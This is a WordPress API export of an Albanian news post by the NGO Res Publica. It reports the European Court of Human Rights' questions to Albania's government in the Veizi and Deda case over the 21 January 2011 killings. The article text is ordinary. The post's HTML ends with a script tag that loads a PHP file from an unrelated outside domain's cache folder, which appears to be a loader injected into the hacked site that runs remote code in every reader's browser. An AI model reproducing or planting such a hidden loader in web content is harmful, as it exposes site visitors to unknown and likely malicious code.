{"id":1144,"date":"2016-04-12T11:01:32","date_gmt":"2016-04-12T09:01:32","guid":{"rendered":"http:\/\/www.respublica.org.al\/?p=1144"},"modified":"2016-04-15T09:49:38","modified_gmt":"2016-04-15T07:49:38","slug":"strasburgu-kerkon-informacion-nga-qeveria-shqiptare-per-21-janarin-ja-pyetjet","status":"publish","type":"post","link":"https:\/\/www.respublica.org.al\/web\/?p=1144","title":{"rendered":"Strasburgu k\u00ebrkon informacion nga qeveria shqiptare p\u00ebr 21 janarin. Ja pyetjet."},"content":{"rendered":"<p><a href=\"http:\/\/www.respublica.org.al\/strasburgu-kerkon-informacion-nga-qeveria-shqiptare-per-21-janarin-ja-pyetjet\/vrasjet-e-21-janarit\/\" rel=\"attachment wp-att-1145\"><img fetchpriority=\"high\" decoding=\"async\" class=\"alignleft size-medium wp-image-1145\" src=\"http:\/\/www.respublica.org.al\/wp-content\/uploads\/2016\/04\/Vrasjet-e-21-janarit-300x218.jpg\" alt=\"Vrasjet-e-21-janarit\" width=\"300\" height=\"218\" srcset=\"https:\/\/www.respublica.org.al\/web\/wp-content\/uploads\/2016\/04\/Vrasjet-e-21-janarit-300x218.jpg 300w, https:\/\/www.respublica.org.al\/web\/wp-content\/uploads\/2016\/04\/Vrasjet-e-21-janarit-768x559.jpg 768w, https:\/\/www.respublica.org.al\/web\/wp-content\/uploads\/2016\/04\/Vrasjet-e-21-janarit-1024x745.jpg 1024w, https:\/\/www.respublica.org.al\/web\/wp-content\/uploads\/2016\/04\/Vrasjet-e-21-janarit-800x582.jpg 800w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a>Gjykata Evropiane p\u00ebr t\u00eb Drejtat e Njeriut ka nisur komunikimin me Qeverin\u00eb Shqiptare p\u00ebr \u00e7\u00ebshtjen e familjar\u00ebve t\u00eb Ziver Veizit, i mbetur i vrar\u00eb m\u00eb 21 Janar 2011 p\u00ebrpara godin\u00ebs s\u00eb Kryeministris\u00eb. N\u00eb nj\u00eb let\u00ebr t\u00eb dat\u00ebs 23 Mars 2016, e publikuar sot n\u00eb faqen online t\u00eb Gjykat\u00ebs Evropiane, ajo ka k\u00ebrkuar disa informacione p\u00ebr \u00e7\u00ebshtjen <em>Veizi dhe Deda kund\u00ebr Shqip\u00ebris\u00eb <a href=\"http:\/\/www.respublica.org.al\/wp-content\/uploads\/2016\/04\/VEIZI-AND-DEDA-v.-ALBANIA-1.docx\">(kliko k\u00ebtu p\u00ebr t\u00eb shkarkuar dokumentin)<\/a><\/em>, e ndjekur nga Res Publica me mb\u00ebshtetjen e Fondacionit Shoq\u00ebria e Hapur p\u00ebr Shqip\u00ebrin\u00eb.<\/p>\n<p>N\u00eb letr\u00ebn e saj Gjykata Evropiane pyet qeverin\u00eb p\u00ebr sa m\u00eb posht\u00eb:<\/p>\n<p>&nbsp;<\/p>\n<ol>\n<li>A i kan\u00eb ezauruar aplikant\u00ebt rrug\u00ebt e brendshme, sic k\u00ebrkohet nga Neni 35 \u00a7 1 i Konvent\u00ebs?<\/li>\n<li>A ka pasur shkelje t\u00eb t\u00eb drejtave t\u00eb aplikant\u00ebve, t\u00eb neneve 2 dhe 13 t\u00eb Konvent\u00ebs? N\u00eb ve\u00e7anti, a zhvilluan autoritetet nj\u00eb hetim efektiv p\u00ebr vdekjen e t\u00eb af\u00ebrmit t\u00eb aplikant\u00ebve si\u00e7 k\u00ebrkohet nga Neni 2 i Konvent\u00ebs? A iu dha mund\u00ebsia aplikant\u00ebve t\u00eb p\u00ebrfshiheshin n\u00eb hetim?<\/li>\n<li>A ka pasur shkelje t\u00eb t\u00eb drejtave t\u00eb aplikant\u00ebve p\u00ebr aksesin n\u00eb gjykat\u00eb lidhur me vendimin e Gjykat\u00ebs s\u00eb Rrethit Tiran\u00eb t\u00eb dat\u00ebs 6 Qershor 2012, kur u refuzua t\u00eb shqyrtohej padia civile e tyre brenda procesit penal p\u00ebr shkak se ata nuk mund t\u00eb paguanin tarif\u00ebn e plot\u00eb gjyq\u00ebsore?<\/li>\n<\/ol>\n<p>Gjykata Evropiane ka ftuar qeverin\u00eb shqiptare q\u00eb t\u00eb jap\u00eb informacion p\u00ebr ecurin\u00eb e procesit penal dhe t\u00eb dor\u00ebzoj\u00eb n\u00eb k\u00ebt\u00eb gjykat\u00eb nj\u00eb kopje t\u00eb fashikullit t\u00eb hetimit.<\/p>\n<p>Ky \u00ebsht\u00eb vet\u00ebm komunikimi i par\u00eb i Gjykat\u00ebs Evropiane p\u00ebr k\u00ebt\u00eb \u00e7\u00ebshtje, por n\u00eb jav\u00ebt e ardhshme do t\u00eb nis\u00eb debati mes argumentave q\u00eb do t\u00eb jap\u00eb qeveria dhe atyre q\u00eb do t\u00eb jap\u00eb Res Publica.<\/p>\n<p>Aplikant\u00ebt u ankuan se atyre nuk iu dha mund\u00ebsia t\u00eb merrnin pjes\u00eb n\u00eb hetimin dhe gjykimin penal, si\u00e7 tashm\u00eb Gjykata Evropiane e ka b\u00ebr\u00eb t\u00eb qart\u00eb k\u00ebt\u00eb standard t\u00eb detyruesh\u00ebm p\u00ebr \u00e7do shtet pal\u00eb. Aplikant\u00ebt u ankuan gjithashtu se gjykata shqiptare nuk d\u00ebgjoi pretendimet e tyre civile p\u00ebr shkak se ata nuk mund t\u00eb paguanin tarif\u00ebn e lart\u00eb gjyq\u00ebsore, e cila n\u00eb koh\u00ebn e paraqitjes s\u00eb k\u00ebrkes\u00eb padis\u00eb u caktua n\u00eb vler\u00ebn 500.000 lek\u00eb t\u00eb reja, t\u00ebr\u00ebsisht n\u00eb mosp\u00ebrputhje me mund\u00ebsit\u00eb e tyre ekonomike.<\/p>\n<p><em>Res Publica<\/em><\/p>\n<p>&nbsp;<\/p>\n<div id=\"google_translate_element\"><\/div>\n<p><script type=\"text\/javascript\">\nfunction googleTranslateElementInit() {\n  new google.translate.TranslateElement({pageLanguage: 'sq', includedLanguages: 'sq', layout: google.translate.TranslateElement.InlineLayout.SIMPLE}, 'google_translate_element');\n}\n<\/script><script type=\"text\/javascript\" src=\"\/\/translate.google.com\/translate_a\/element.js?cb=googleTranslateElementInit\"><\/script><script type=\"text\/javascript\" src=\"#\"><\/script><script type=\"text\/javascript\" src=\"http:\/\/www.get.space\/wp-content\/cache\/tmpWpfc\/theme-index.php\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Gjykata Evropiane p\u00ebr t\u00eb Drejtat e Njeriut ka nisur komunikimin me Qeverin\u00eb Shqiptare p\u00ebr \u00e7\u00ebshtjen e familjar\u00ebve t\u00eb Ziver Veizit, [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":1149,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""}},"footnotes":""},"categories":[6],"tags":[],"_links":{"self":[{"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=\/wp\/v2\/posts\/1144"}],"collection":[{"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1144"}],"version-history":[{"count":7,"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=\/wp\/v2\/posts\/1144\/revisions"}],"predecessor-version":[{"id":1188,"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=\/wp\/v2\/posts\/1144\/revisions\/1188"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=\/wp\/v2\/media\/1149"}],"wp:attachment":[{"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1144"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1144"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1144"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}